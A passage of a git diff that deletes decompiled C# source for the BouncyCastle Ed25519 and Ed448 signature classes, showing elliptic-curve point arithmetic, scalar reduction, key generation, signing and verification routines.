0, pointExt.x, 0); - X25519Field.Copy(p.y, 0, pointExt.y, 0); - X25519Field.Copy(p.z, 0, pointExt.z, 0); - X25519Field.Mul(p.u, p.v, pointExt.t); - return pointExt; - } - - private static PointExt PointCopy(PointExt p) - { - PointExt pointExt = new PointExt(); - X25519Field.Copy(p.x, 0, pointExt.x, 0); - X25519Field.Copy(p.y, 0, pointExt.y, 0); - X25519Field.Copy(p.z, 0, pointExt.z, 0); - X25519Field.Copy(p.t, 0, pointExt.t, 0); - return pointExt; - } - - private static void PointDouble(PointAccum r) - { - int[] array = X25519Field.Create(); - int[] array2 = X25519Field.Create(); - int[] array3 = X25519Field.Create(); - int[] u = r.u; - int[] array4 = X25519Field.Create(); - int[] array5 = X25519Field.Create(); - int[] v = r.v; - X25519Field.Sqr(r.x, array); - X25519Field.Sqr(r.y, array2); - X25519Field.Sqr(r.z, array3); - X25519Field.Add(array3, array3, array3); - X25519Field.Apm(array, array2, v, array5); - X25519Field.Add(r.x, r.y, u); - X25519Field.Sqr(u, u); - X25519Field.Sub(v, u, u); - X25519Field.Add(array3, array5, array4); - X25519Field.Carry(array4); - X25519Field.Mul(u, array4, r.x); - X25519Field.Mul(array5, v, r.y); - X25519Field.Mul(array4, array5, r.z); - } - - private static void PointExtendXY(PointAccum p) - { - X25519Field.One(p.z); - X25519Field.Copy(p.x, 0, p.u, 0); - X25519Field.Copy(p.y, 0, p.v, 0); - } - - private static void PointExtendXY(PointExt p) - { - X25519Field.One(p.z); - X25519Field.Mul(p.x, p.y, p.t); - } - - private static void PointLookup(int block, int index, PointPrecomp p) - { - int num = block * 8 * 3 * 10; - for (int i = 0; i < 8; i++) - { - int mask = (i ^ index) - 1 >> 31; - Nat.CMov(10, mask, precompBase, num, p.ypx_h, 0); - num += 10; - Nat.CMov(10, mask, precompBase, num, p.ymx_h, 0); - num += 10; - Nat.CMov(10, mask, precompBase, num, p.xyd, 0); - num += 10; - } - } - - private static PointExt[] PointPrecompVar(PointExt p, int count) - { - PointExt pointExt = new PointExt(); - PointAddVar(negate: false, p, p, pointExt); - PointExt[] array = new PointExt[count]; - array[0] = PointCopy(p); - for (int i = 1; i < count; i++) - { - PointAddVar(negate: false, array[i - 1], pointExt, array[i] = new PointExt()); - } - return array; - } - - private static void PointSetNeutral(PointAccum p) - { - X25519Field.Zero(p.x); - X25519Field.One(p.y); - X25519Field.One(p.z); - X25519Field.Zero(p.u); - X25519Field.One(p.v); - } - - private static void PointSetNeutral(PointExt p) - { - X25519Field.Zero(p.x); - X25519Field.One(p.y); - X25519Field.One(p.z); - X25519Field.Zero(p.t); - } - - public static void Precompute() - { - lock (precompLock) - { - if (precompBase != null) - { - return; - } - PointExt pointExt = new PointExt(); - X25519Field.Copy(B_x, 0, pointExt.x, 0); - X25519Field.Copy(B_y, 0, pointExt.y, 0); - PointExtendXY(pointExt); - precompBaseTable = PointPrecompVar(pointExt, 32); - PointAccum pointAccum = new PointAccum(); - X25519Field.Copy(B_x, 0, pointAccum.x, 0); - X25519Field.Copy(B_y, 0, pointAccum.y, 0); - PointExtendXY(pointAccum); - precompBase = new int[1920]; - int num = 0; - for (int i = 0; i < 8; i++) - { - PointExt[] array = new PointExt[4]; - PointExt pointExt2 = new PointExt(); - PointSetNeutral(pointExt2); - for (int j = 0; j < 4; j++) - { - PointExt q = PointCopy(pointAccum); - PointAddVar(negate: true, pointExt2, q, pointExt2); - PointDouble(pointAccum); - array[j] = PointCopy(pointAccum); - if (i + j != 10) - { - for (int k = 1; k < 8; k++) - { - PointDouble(pointAccum); - } - } - } - PointExt[] array2 = new PointExt[8]; - int num2 = 0; - array2[num2++] = pointExt2; - for (int l = 0; l < 3; l++) - { - int num3 = 1 << l; - int num4 = 0; - while (num4 < num3) - { - PointAddVar(negate: false, array2[num2 - num3], array[l], array2[num2] = new PointExt()); - num4++; - num2++; - } - } - for (int m = 0; m < 8; m++) - { - PointExt pointExt3 = array2[m]; - int[] array3 = X25519Field.Create(); - int[] array4 = X25519Field.Create(); - X25519Field.Add(pointExt3.z, pointExt3.z, array3); - X25519Field.Inv(array3, array4); - X25519Field.Mul(pointExt3.x, array4, array3); - X25519Field.Mul(pointExt3.y, array4, array4); - PointPrecomp pointPrecomp = new PointPrecomp(); - X25519Field.Apm(array4, array3, pointPrecomp.ypx_h, pointPrecomp.ymx_h); - X25519Field.Mul(array3, array4, pointPrecomp.xyd); - X25519Field.Mul(pointPrecomp.xyd, C_d4, pointPrecomp.xyd); - X25519Field.Normalize(pointPrecomp.ypx_h); - X25519Field.Normalize(pointPrecomp.ymx_h); - X25519Field.Copy(pointPrecomp.ypx_h, 0, precompBase, num); - num += 10; - X25519Field.Copy(pointPrecomp.ymx_h, 0, precompBase, num); - num += 10; - X25519Field.Copy(pointPrecomp.xyd, 0, precompBase, num); - num += 10; - } - } - } - } - - private static void PruneScalar(byte[] n, int nOff, byte[] r) - { - Array.Copy(n, nOff, r, 0, 32); - byte[] array; - (array = r)[0] = (byte)(array[0] & 0xF8); - (array = r)[31] = (byte)(array[31] & 0x7F); - (array = r)[31] = (byte)(array[31] | 0x40); - } - - private static byte[] ReduceScalar(byte[] n) - { - long num = (long)Decode32(n, 0) & 0xFFFFFFFFL; - long num2 = (long)(Decode24(n, 4) << 4) & 0xFFFFFFFFL; - long num3 = (long)Decode32(n, 7) & 0xFFFFFFFFL; - long num4 = (long)(Decode24(n, 11) << 4) & 0xFFFFFFFFL; - long num5 = (long)Decode32(n, 14) & 0xFFFFFFFFL; - long num6 = (long)(Decode24(n, 18) << 4) & 0xFFFFFFFFL; - long num7 = (long)Decode32(n, 21) & 0xFFFFFFFFL; - long num8 = (long)(Decode24(n, 25) << 4) & 0xFFFFFFFFL; - long num9 = (long)Decode32(n, 28) & 0xFFFFFFFFL; - long num10 = (long)(Decode24(n, 32) << 4) & 0xFFFFFFFFL; - long num11 = (long)Decode32(n, 35) & 0xFFFFFFFFL; - long num12 = (long)(Decode24(n, 39) << 4) & 0xFFFFFFFFL; - long num13 = (long)Decode32(n, 42) & 0xFFFFFFFFL; - long num14 = (long)(Decode24(n, 46) << 4) & 0xFFFFFFFFL; - long num15 = (long)Decode32(n, 49) & 0xFFFFFFFFL; - long num16 = (long)(Decode24(n, 53) << 4) & 0xFFFFFFFFL; - long num17 = (long)Decode32(n, 56) & 0xFFFFFFFFL; - long num18 = (long)(Decode24(n, 60) << 4) & 0xFFFFFFFFL; - long num19 = (long)n[63] & 0xFFL; - num10 -= num19 * -50998291; - num11 -= num19 * 19280294; - num12 -= num19 * 127719000; - num13 -= num19 * -6428113; - num14 -= num19 * 5343; - num18 += num17 >> 28; - num17 &= 0xFFFFFFF; - num9 -= num18 * -50998291; - num10 -= num18 * 19280294; - num11 -= num18 * 127719000; - num12 -= num18 * -6428113; - num13 -= num18 * 5343; - num8 -= num17 * -50998291; - num9 -= num17 * 19280294; - num10 -= num17 * 127719000; - num11 -= num17 * -6428113; - num12 -= num17 * 5343; - num16 += num15 >> 28; - num15 &= 0xFFFFFFF; - num7 -= num16 * -50998291; - num8 -= num16 * 19280294; - num9 -= num16 * 127719000; - num10 -= num16 * -6428113; - num11 -= num16 * 5343; - num6 -= num15 * -50998291; - num7 -= num15 * 19280294; - num8 -= num15 * 127719000; - num9 -= num15 * -6428113; - num10 -= num15 * 5343; - num14 += num13 >> 28; - num13 &= 0xFFFFFFF; - num5 -= num14 * -50998291; - num6 -= num14 * 19280294; - num7 -= num14 * 127719000; - num8 -= num14 * -6428113; - num9 -= num14 * 5343; - num13 += num12 >> 28; - num12 &= 0xFFFFFFF; - num4 -= num13 * -50998291; - num5 -= num13 * 19280294; - num6 -= num13 * 127719000; - num7 -= num13 * -6428113; - num8 -= num13 * 5343; - num12 += num11 >> 28; - num11 &= 0xFFFFFFF; - num3 -= num12 * -50998291; - num4 -= num12 * 19280294; - num5 -= num12 * 127719000; - num6 -= num12 * -6428113; - num7 -= num12 * 5343; - num11 += num10 >> 28; - num10 &= 0xFFFFFFF; - num2 -= num11 * -50998291; - num3 -= num11 * 19280294; - num4 -= num11 * 127719000; - num5 -= num11 * -6428113; - num6 -= num11 * 5343; - num9 += num8 >> 28; - num8 &= 0xFFFFFFF; - num10 += num9 >> 28; - num9 &= 0xFFFFFFF; - long num20 = (num9 >> 27) & 1; - num10 += num20; - num -= num10 * -50998291; - num2 -= num10 * 19280294; - num3 -= num10 * 127719000; - num4 -= num10 * -6428113; - num5 -= num10 * 5343; - num2 += num >> 28; - num &= 0xFFFFFFF; - num3 += num2 >> 28; - num2 &= 0xFFFFFFF; - num4 += num3 >> 28; - num3 &= 0xFFFFFFF; - num5 += num4 >> 28; - num4 &= 0xFFFFFFF; - num6 += num5 >> 28; - num5 &= 0xFFFFFFF; - num7 += num6 >> 28; - num6 &= 0xFFFFFFF; - num8 += num7 >> 28; - num7 &= 0xFFFFFFF; - num9 += num8 >> 28; - num8 &= 0xFFFFFFF; - num10 = num9 >> 28; - num9 &= 0xFFFFFFF; - num10 -= num20; - num += num10 & -50998291; - num2 += num10 & 0x12631A6; - num3 += num10 & 0x79CD658; - num4 += num10 & -6428113; - num5 += num10 & 0x14DF; - num2 += num >> 28; - num &= 0xFFFFFFF; - num3 += num2 >> 28; - num2 &= 0xFFFFFFF; - num4 += num3 >> 28; - num3 &= 0xFFFFFFF; - num5 += num4 >> 28; - num4 &= 0xFFFFFFF; - num6 += num5 >> 28; - num5 &= 0xFFFFFFF; - num7 += num6 >> 28; - num6 &= 0xFFFFFFF; - num8 += num7 >> 28; - num7 &= 0xFFFFFFF; - num9 += num8 >> 28; - num8 &= 0xFFFFFFF; - byte[] array = new byte[32]; - Encode56((ulong)(num | (num2 << 28)), array, 0); - Encode56((ulong)(num3 | (num4 << 28)), array, 7); - Encode56((ulong)(num5 | (num6 << 28)), array, 14); - Encode56((ulong)(num7 | (num8 << 28)), array, 21); - Encode32((uint)num9, array, 28); - return array; - } - - private static void ScalarMultBase(byte[] k, PointAccum r) - { - Precompute(); - PointSetNeutral(r); - uint[] array = new uint[8]; - DecodeScalar(k, 0, array); - uint num = Nat.CAdd(8, (int)(~array[0] & 1), array, L, array); - uint num2 = Nat.ShiftDownBit(8, array, 1u); - for (int i = 0; i < 8; i++) - { - array[i] = Interleave.Shuffle2(array[i]); - } - PointPrecomp pointPrecomp = new PointPrecomp(); - int num3 = 28; - while (true) - { - for (int j = 0; j < 8; j++) - { - uint num4 = array[j] >> num3; - int num5 = (int)((num4 >> 3) & 1); - int index = (int)((num4 ^ (uint)(-num5)) & 7); - PointLookup(j, index, pointPrecomp); - X25519Field.CSwap(num5, pointPrecomp.ypx_h, pointPrecomp.ymx_h); - X25519Field.CNegate(num5, pointPrecomp.xyd); - PointAddPrecomp(pointPrecomp, r); - } - if ((num3 -= 4) < 0) - { - break; - } - PointDouble(r); - } - } - - private static void ScalarMultBaseEncoded(byte[] k, byte[] r, int rOff) - { - PointAccum pointAccum = new PointAccum(); - ScalarMultBase(k, pointAccum); - EncodePoint(pointAccum, r, rOff); - } - - internal static void ScalarMultBaseYZ(byte[] k, int kOff, int[] y, int[] z) - { - byte[] array = new byte[32]; - PruneScalar(k, kOff, array); - PointAccum pointAccum = new PointAccum(); - ScalarMultBase(array, pointAccum); - X25519Field.Copy(pointAccum.y, 0, y, 0); - X25519Field.Copy(pointAccum.z, 0, z, 0); - } - - private static void ScalarMultStraussVar(uint[] nb, uint[] np, PointExt p, PointAccum r) - { - Precompute(); - int num = 5; - sbyte[] wnaf = GetWnaf(nb, 7); - sbyte[] wnaf2 = GetWnaf(np, num); - PointExt[] array = PointPrecompVar(p, 1 << num - 2); - PointSetNeutral(r); - int num2 = 255; - while (num2 > 0 && ((byte)wnaf[num2] | (byte)wnaf2[num2]) == 0) - { - num2--; - } - while (true) - { - int num3 = wnaf[num2]; - if (num3 != 0) - { - int num4 = num3 >> 31; - int num5 = (num3 ^ num4) >> 1; - PointAddVar(num4 != 0, precompBaseTable[num5], r); - } - int num6 = wnaf2[num2]; - if (num6 != 0) - { - int num7 = num6 >> 31; - int num8 = (num6 ^ num7) >> 1; - PointAddVar(num7 != 0, array[num8], r); - } - if (--num2 < 0) - { - break; - } - PointDouble(r); - } - } - - public static void Sign(byte[] sk, int skOff, byte[] m, int mOff, int mLen, byte[] sig, int sigOff) - { - byte[] ctx = null; - byte phflag = 0; - ImplSign(sk, skOff, ctx, phflag, m, mOff, mLen, sig, sigOff); - } - - public static void Sign(byte[] sk, int skOff, byte[] pk, int pkOff, byte[] m, int mOff, int mLen, byte[] sig, int sigOff) - { - byte[] ctx = null; - byte phflag = 0; - ImplSign(sk, skOff, pk, pkOff, ctx, phflag, m, mOff, mLen, sig, sigOff); - } - - public static void Sign(byte[] sk, int skOff, byte[] ctx, byte[] m, int mOff, int mLen, byte[] sig, int sigOff) - { - byte phflag = 0; - ImplSign(sk, skOff, ctx, phflag, m, mOff, mLen, sig, sigOff); - } - - public static void Sign(byte[] sk, int skOff, byte[] pk, int pkOff, byte[] ctx, byte[] m, int mOff, int mLen, byte[] sig, int sigOff) - { - byte phflag = 0; - ImplSign(sk, skOff, pk, pkOff, ctx, phflag, m, mOff, mLen, sig, sigOff); - } - - public static void SignPrehash(byte[] sk, int skOff, byte[] ctx, byte[] ph, int phOff, byte[] sig, int sigOff) - { - byte phflag = 1; - ImplSign(sk, skOff, ctx, phflag, ph, phOff, PrehashSize, sig, sigOff); - } - - public static void SignPrehash(byte[] sk, int skOff, byte[] pk, int pkOff, byte[] ctx, byte[] ph, int phOff, byte[] sig, int sigOff) - { - byte phflag = 1; - ImplSign(sk, skOff, pk, pkOff, ctx, phflag, ph, phOff, PrehashSize, sig, sigOff); - } - - public static void SignPrehash(byte[] sk, int skOff, byte[] ctx, IDigest ph, byte[] sig, int sigOff) - { - byte[] array = new byte[PrehashSize]; - if (PrehashSize != ph.DoFinal(array, 0)) - { - throw new ArgumentException("ph"); - } - byte phflag = 1; - ImplSign(sk, skOff, ctx, phflag, array, 0, array.Length, sig, sigOff); - } - - public static void SignPrehash(byte[] sk, int skOff, byte[] pk, int pkOff, byte[] ctx, IDigest ph, byte[] sig, int sigOff) - { - byte[] array = new byte[PrehashSize]; - if (PrehashSize != ph.DoFinal(array, 0)) - { - throw new ArgumentException("ph"); - } - byte phflag = 1; - ImplSign(sk, skOff, pk, pkOff, ctx, phflag, array, 0, array.Length, sig, sigOff); - } - - public static bool Verify(byte[] sig, int sigOff, byte[] pk, int pkOff, byte[] m, int mOff, int mLen) - { - byte[] ctx = null; - byte phflag = 0; - return ImplVerify(sig, sigOff, pk, pkOff, ctx, phflag, m, mOff, mLen); - } - - public static bool Verify(byte[] sig, int sigOff, byte[] pk, int pkOff, byte[] ctx, byte[] m, int mOff, int mLen) - { - byte phflag = 0; - return ImplVerify(sig, sigOff, pk, pkOff, ctx, phflag, m, mOff, mLen); - } - - public static bool VerifyPrehash(byte[] sig, int sigOff, byte[] pk, int pkOff, byte[] ctx, byte[] ph, int phOff) - { - byte phflag = 1; - return ImplVerify(sig, sigOff, pk, pkOff, ctx, phflag, ph, phOff, PrehashSize); - } - - public static bool VerifyPrehash(byte[] sig, int sigOff, byte[] pk, int pkOff, byte[] ctx, IDigest ph) - { - byte[] array = new byte[PrehashSize]; - if (PrehashSize != ph.DoFinal(array, 0)) - { - throw new ArgumentException("ph"); - } - byte phflag = 1; - return ImplVerify(sig, sigOff, pk, pkOff, ctx, phflag, array, 0, array.Length); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc8032/Ed448.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc8032/Ed448.cs deleted file mode 100644 index 1c43608..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc8032/Ed448.cs +++ /dev/null @@ -1,1129 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Math.EC.Rfc7748; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Rfc8032; - -public abstract class Ed448 -{ - public enum Algorithm - { - Ed448, - Ed448ph - } - - private class PointExt - { - internal uint[] x = X448Field.Create(); - - internal uint[] y = X448Field.Create(); - - internal uint[] z = X448Field.Create(); - } - - private class PointPrecomp - { - internal uint[] x = X448Field.Create(); - - internal uint[] y = X448Field.Create(); - } - - private const ulong M26UL = 67108863uL; - - private const ulong M28UL = 268435455uL; - - private const int PointBytes = 57; - - private const int ScalarUints = 14; - - private const int ScalarBytes = 57; - - private const int L_0 = 78101261; - - private const int L_1 = 141809365; - - private const int L_2 = 175155932; - - private const int L_3 = 64542499; - - private const int L_4 = 158326419; - - private const int L_5 = 191173276; - - private const int L_6 = 104575268; - - private const int L_7 = 137584065; - - private const int L4_0 = 43969588; - - private const int L4_1 = 30366549; - - private const int L4_2 = 163752818; - - private const int L4_3 = 258169998; - - private const int L4_4 = 96434764; - - private const int L4_5 = 227822194; - - private const int L4_6 = 149865618; - - private const int L4_7 = 550336261; - - private const int C_d = -39081; - - private const int WnafWidthBase = 7; - - private const int PrecompBlocks = 5; - - private const int PrecompTeeth = 5; - - private const int PrecompSpacing = 18; - - private const int PrecompPoints = 16; - - private const int PrecompMask = 15; - - public static readonly int PrehashSize = 64; - - public static readonly int PublicKeySize = 57; - - public static readonly int SecretKeySize = 57; - - public static readonly int SignatureSize = 114; - - private static readonly byte[] Dom4Prefix = Strings.ToByteArray("SigEd448"); - - private static readonly uint[] P = new uint[14] - { - 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967294u, 4294967295u, 4294967295u, - 4294967295u, 4294967295u, 4294967295u, 4294967295u - }; - - private static readonly uint[] L = new uint[14] - { - 2874688755u, 595116690u, 2378534741u, 560775794u, 2933274256u, 3293502281u, 2093622249u, 4294967295u, 4294967295u, 4294967295u, - 4294967295u, 4294967295u, 4294967295u, 1073741823u - }; - - private static readonly BigInteger N = Nat.ToBigInteger(L.Length, L); - - private static readonly uint[] B_x = new uint[16] - { - 118276190u, 40534716u, 9670182u, 135141552u, 85017403u, 259173222u, 68333082u, 171784774u, 174973732u, 15824510u, - 73756743u, 57518561u, 94773951u, 248652241u, 107736333u, 82941708u - }; - - private static readonly uint[] B_y = new uint[16] - { - 36764180u, 8885695u, 130592152u, 20104429u, 163904957u, 30304195u, 121295871u, 5901357u, 125344798u, 171541512u, - 175338348u, 209069246u, 3626697u, 38307682u, 24032956u, 110359655u - }; - - private static readonly object precompLock = new object(); - - private static PointExt[] precompBaseTable = null; - - private static uint[] precompBase = null; - - private static byte[] CalculateS(byte[] r, byte[] k, byte[] s) - { - uint[] array = new uint[28]; - DecodeScalar(r, 0, array); - uint[] array2 = new uint[14]; - DecodeScalar(k, 0, array2); - uint[] array3 = new uint[14]; - DecodeScalar(s, 0, array3); - Nat.MulAddTo(14, array2, array3, array); - byte[] array4 = new byte[114]; - for (int i = 0; i < array.Length; i++) - { - Encode32(array[i], array4, i * 4); - } - return ReduceScalar(array4); - } - - private static bool CheckContextVar(byte[] ctx) - { - if (ctx != null) - { - return ctx.Length < 256; - } - return false; - } - - private static bool CheckPointVar(byte[] p) - { - if ((p[56] & 0x7F) != 0) - { - return false; - } - uint[] array = new uint[14]; - Decode32(p, 0, array, 0, 14); - return !Nat.Gte(14, array, P); - } - - private static bool CheckScalarVar(byte[] s) - { - if (s[56] != 0) - { - return false; - } - uint[] array = new uint[14]; - DecodeScalar(s, 0, array); - return !Nat.Gte(14, array, L); - } - - public static IXof CreatePrehash() - { - return CreateXof(); - } - - private static IXof CreateXof() - { - return new ShakeDigest(256); - } - - private static uint Decode16(byte[] bs, int off) - { - uint num = bs[off]; - return num | (uint)(bs[++off] << 8); - } - - private static uint Decode24(byte[] bs, int off) - { - uint num = bs[off]; - num |= (uint)(bs[++off] << 8); - return num | (uint)(bs[++off] << 16); - } - - private static uint Decode32(byte[] bs, int off) - { - uint num = bs[off]; - num |= (uint)(bs[++off] << 8); - num |= (uint)(bs[++off] << 16); - return num | (uint)(bs[++off] << 24); - } - - private static void Decode32(byte[] bs, int bsOff, uint[] n, int nOff, int nLen) - { - for (int i = 0; i < nLen; i++) - { - n[nOff + i] = Decode32(bs, bsOff + i * 4); - } - } - - private static bool DecodePointVar(byte[] p, int pOff, bool negate, PointExt r) - { - byte[] array = Arrays.CopyOfRange(p, pOff, pOff + 57); - if (!CheckPointVar(array)) - { - return false; - } - int num = (array[56] & 0x80) >> 7; - byte[] array2; - (array2 = array)[56] = (byte)(array2[56] & 0x7F); - X448Field.Decode(array, 0, r.y); - uint[] array3 = X448Field.Create(); - uint[] array4 = X448Field.Create(); - X448Field.Sqr(r.y, array3); - X448Field.Mul(array3, 39081u, array4); - X448Field.Negate(array3, array3); - X448Field.AddOne(array3); - X448Field.AddOne(array4); - if (!X448Field.SqrtRatioVar(array3, array4, r.x)) - { - return false; - } - X448Field.Normalize(r.x); - if (num == 1 && X448Field.IsZeroVar(r.x)) - { - return false; - } - if (negate ^ (num != (r.x[0] & 1))) - { - X448Field.Negate(r.x, r.x); - } - PointExtendXY(r); - return true; - } - - private static void DecodeScalar(byte[] k, int kOff, uint[] n) - { - Decode32(k, kOff, n, 0, 14); - } - - private static void Dom4(IXof d, byte x, byte[] y) - { - d.BlockUpdate(Dom4Prefix, 0, Dom4Prefix.Length); - d.Update(x); - d.Update((byte)y.Length); - d.BlockUpdate(y, 0, y.Length); - } - - private static void Encode24(uint n, byte[] bs, int off) - { - bs[off] = (byte)n; - bs[++off] = (byte)(n >> 8); - bs[++off] = (byte)(n >> 16); - } - - private static void Encode32(uint n, byte[] bs, int off) - { - bs[off] = (byte)n; - bs[++off] = (byte)(n >> 8); - bs[++off] = (byte)(n >> 16); - bs[++off] = (byte)(n >> 24); - } - - private static void Encode56(ulong n, byte[] bs, int off) - { - Encode32((uint)n, bs, off); - Encode24((uint)(n >> 32), bs, off + 4); - } - - private static void EncodePoint(PointExt p, byte[] r, int rOff) - { - uint[] array = X448Field.Create(); - uint[] array2 = X448Field.Create(); - X448Field.Inv(p.z, array2); - X448Field.Mul(p.x, array2, array); - X448Field.Mul(p.y, array2, array2); - X448Field.Normalize(array); - X448Field.Normalize(array2); - X448Field.Encode(array2, r, rOff); - r[rOff + 57 - 1] = (byte)((array[0] & 1) << 7); - } - - public static void GeneratePrivateKey(SecureRandom random, byte[] k) - { - random.NextBytes(k); - } - - public static void GeneratePublicKey(byte[] sk, int skOff, byte[] pk, int pkOff) - { - IXof xof = CreateXof(); - byte[] array = new byte[114]; - xof.BlockUpdate(sk, skOff, SecretKeySize); - xof.DoFinal(array, 0, array.Length); - byte[] array2 = new byte[57]; - PruneScalar(array, 0, array2); - ScalarMultBaseEncoded(array2, pk, pkOff); - } - - private static sbyte[] GetWnaf(uint[] n, int width) - { - uint[] array = new uint[28]; - uint num = 0u; - int num2 = array.Length; - int num3 = 14; - while (--num3 >= 0) - { - uint num4 = n[num3]; - array[--num2] = (num4 >> 16) | (num << 16); - num = (array[--num2] = num4); - } - sbyte[] array2 = new sbyte[448]; - uint num5 = (uint)(1 << width); - uint num6 = num5 - 1; - uint num7 = num5 >> 1; - uint num8 = 0u; - int num9 = 0; - int num10 = 0; - while (num10 < array.Length) - { - uint num11 = array[num10]; - while (num9 < 16) - { - uint num12 = num11 >> num9; - uint num13 = num12 & 1; - if (num13 == num8) - { - num9++; - continue; - } - uint num14 = (num12 & num6) + num8; - num8 = num14 & num7; - num14 -= num8 << 1; - num8 >>= width - 1; - array2[(num10 << 4) + num9] = (sbyte)num14; - num9 += width; - } - num10++; - num9 -= 16; - } - return array2; - } - - private static void ImplSign(IXof d, byte[] h, byte[] s, byte[] pk, int pkOff, byte[] ctx, byte phflag, byte[] m, int mOff, int mLen, byte[] sig, int sigOff) - { - Dom4(d, phflag, ctx); - d.BlockUpdate(h, 57, 57); - d.BlockUpdate(m, mOff, mLen); - d.DoFinal(h, 0, h.Length); - byte[] array = ReduceScalar(h); - byte[] array2 = new byte[57]; - ScalarMultBaseEncoded(array, array2, 0); - Dom4(d, phflag, ctx); - d.BlockUpdate(array2, 0, 57); - d.BlockUpdate(pk, pkOff, 57); - d.BlockUpdate(m, mOff, mLen); - d.DoFinal(h, 0, h.Length); - byte[] k = ReduceScalar(h); - byte[] sourceArray = CalculateS(array, k, s); - Array.Copy(array2, 0, sig, sigOff, 57); - Array.Copy(sourceArray, 0, sig, sigOff + 57, 57); - } - - private static void ImplSign(byte[] sk, int skOff, byte[] ctx, byte phflag, byte[] m, int mOff, int mLen, byte[] sig, int sigOff) - { - if (!CheckContextVar(ctx)) - { - throw new ArgumentException("ctx"); - } - IXof xof = CreateXof(); - byte[] array = new byte[114]; - xof.BlockUpdate(sk, skOff, SecretKeySize); - xof.DoFinal(array, 0, array.Length); - byte[] array2 = new byte[57]; - PruneScalar(array, 0, array2); - byte[] array3 = new byte[57]; - ScalarMultBaseEncoded(array2, array3, 0); - ImplSign(xof, array, array2, array3, 0, ctx, phflag, m, mOff, mLen, sig, sigOff); - } - - private static void ImplSign(byte[] sk, int skOff, byte[] pk, int pkOff, byte[] ctx, byte phflag, byte[] m, int mOff, int mLen, byte[] sig, int sigOff) - { - if (!CheckContextVar(ctx)) - { - throw new ArgumentException("ctx"); - } - IXof xof = CreateXof(); - byte[] array = new byte[114]; - xof.BlockUpdate(sk, skOff, SecretKeySize); - xof.DoFinal(array, 0, array.Length); - byte[] array2 = new byte[57]; - PruneScalar(array, 0, array2); - ImplSign(xof, array, array2, pk, pkOff, ctx, phflag, m, mOff, mLen, sig, sigOff); - } - - private static bool ImplVerify(byte[] sig, int sigOff, byte[] pk, int pkOff, byte[] ctx, byte phflag, byte[] m, int mOff, int mLen) - { - if (!CheckContextVar(ctx)) - { - throw new ArgumentException("ctx"); - } - byte[] array = Arrays.CopyOfRange(sig, sigOff, sigOff + 57); - byte[] array2 = Arrays.CopyOfRange(sig, sigOff + 57, sigOff + SignatureSize); - if (!CheckPointVar(array)) - { - return false; - } - if (!CheckScalarVar(array2)) - { - return false; - } - PointExt pointExt = new PointExt(); - if (!DecodePointVar(pk, pkOff, negate: true, pointExt)) - { - return false; - } - IXof xof = CreateXof(); - byte[] array3 = new byte[114]; - Dom4(xof, phflag, ctx); - xof.BlockUpdate(array, 0, 57); - xof.BlockUpdate(pk, pkOff, 57); - xof.BlockUpdate(m, mOff, mLen); - xof.DoFinal(array3, 0, array3.Length); - byte[] k = ReduceScalar(array3); - uint[] array4 = new uint[14]; - DecodeScalar(array2, 0, array4); - uint[] array5 = new uint[14]; - DecodeScalar(k, 0, array5); - PointExt pointExt2 = new PointExt(); - ScalarMultStraussVar(array4, array5, pointExt, pointExt2); - byte[] array6 = new byte[57]; - EncodePoint(pointExt2, array6, 0); - return Arrays.AreEqual(array6, array); - } - - private static void PointAddVar(bool negate, PointExt p, PointExt r) - { - uint[] array = X448Field.Create(); - uint[] array2 = X448Field.Create(); - uint[] array3 = X448Field.Create(); - uint[] array4 = X448Field.Create(); - uint[] array5 = X448Field.Create(); - uint[] array6 = X448Field.Create(); - uint[] array7 = X448Field.Create(); - uint[] array8 = X448Field.Create(); - uint[] z; - uint[] z2; - uint[] z3; - uint[] z4; - if (negate) - { - z = array5; - z2 = array2; - z3 = array7; - z4 = array6; - X448Field.Sub(p.y, p.x, array8); - } - else - { - z = array2; - z2 = array5; - z3 = array6; - z4 = array7; - X448Field.Add(p.y, p.x, array8); - } - X448Field.Mul(p.z, r.z, array); - X448Field.Sqr(array, array2); - X448Field.Mul(p.x, r.x, array3); - X448Field.Mul(p.y, r.y, array4); - X448Field.Mul(array3, array4, array5); - X448Field.Mul(array5, 39081u, array5); - X448Field.Add(array2, array5, z3); - X448Field.Sub(array2, array5, z4); - X448Field.Add(r.x, r.y, array5); - X448Field.Mul(array8, array5, array8); - X448Field.Add(array4, array3, z); - X448Field.Sub(array4, array3, z2); - X448Field.Carry(z); - X448Field.Sub(array8, array2, array8); - X448Field.Mul(array8, array, array8); - X448Field.Mul(array5, array, array5); - X448Field.Mul(array6, array8, r.x); - X448Field.Mul(array5, array7, r.y); - X448Field.Mul(array6, array7, r.z); - } - - private static void PointAddPrecomp(PointPrecomp p, PointExt r) - { - uint[] array = X448Field.Create(); - uint[] array2 = X448Field.Create(); - uint[] array3 = X448Field.Create(); - uint[] array4 = X448Field.Create(); - uint[] array5 = X448Field.Create(); - uint[] array6 = X448Field.Create(); - uint[] array7 = X448Field.Create(); - X448Field.Sqr(r.z, array); - X448Field.Mul(p.x, r.x, array2); - X448Field.Mul(p.y, r.y, array3); - X448Field.Mul(array2, array3, array4); - X448Field.Mul(array4, 39081u, array4); - X448Field.Add(array, array4, array5); - X448Field.Sub(array, array4, array6); - X448Field.Add(p.x, p.y, array); - X448Field.Add(r.x, r.y, array4); - X448Field.Mul(array, array4, array7); - X448Field.Add(array3, array2, array); - X448Field.Sub(array3, array2, array4); - X448Field.Carry(array); - X448Field.Sub(array7, array, array7); - X448Field.Mul(array7, r.z, array7); - X448Field.Mul(array4, r.z, array4); - X448Field.Mul(array5, array7, r.x); - X448Field.Mul(array4, array6, r.y); - X448Field.Mul(array5, array6, r.z); - } - - private static PointExt PointCopy(PointExt p) - { - PointExt pointExt = new PointExt(); - X448Field.Copy(p.x, 0, pointExt.x, 0); - X448Field.Copy(p.y, 0, pointExt.y, 0); - X448Field.Copy(p.z, 0, pointExt.z, 0); - return pointExt; - } - - private static void PointDouble(PointExt r) - { - uint[] array = X448Field.Create(); - uint[] array2 = X448Field.Create(); - 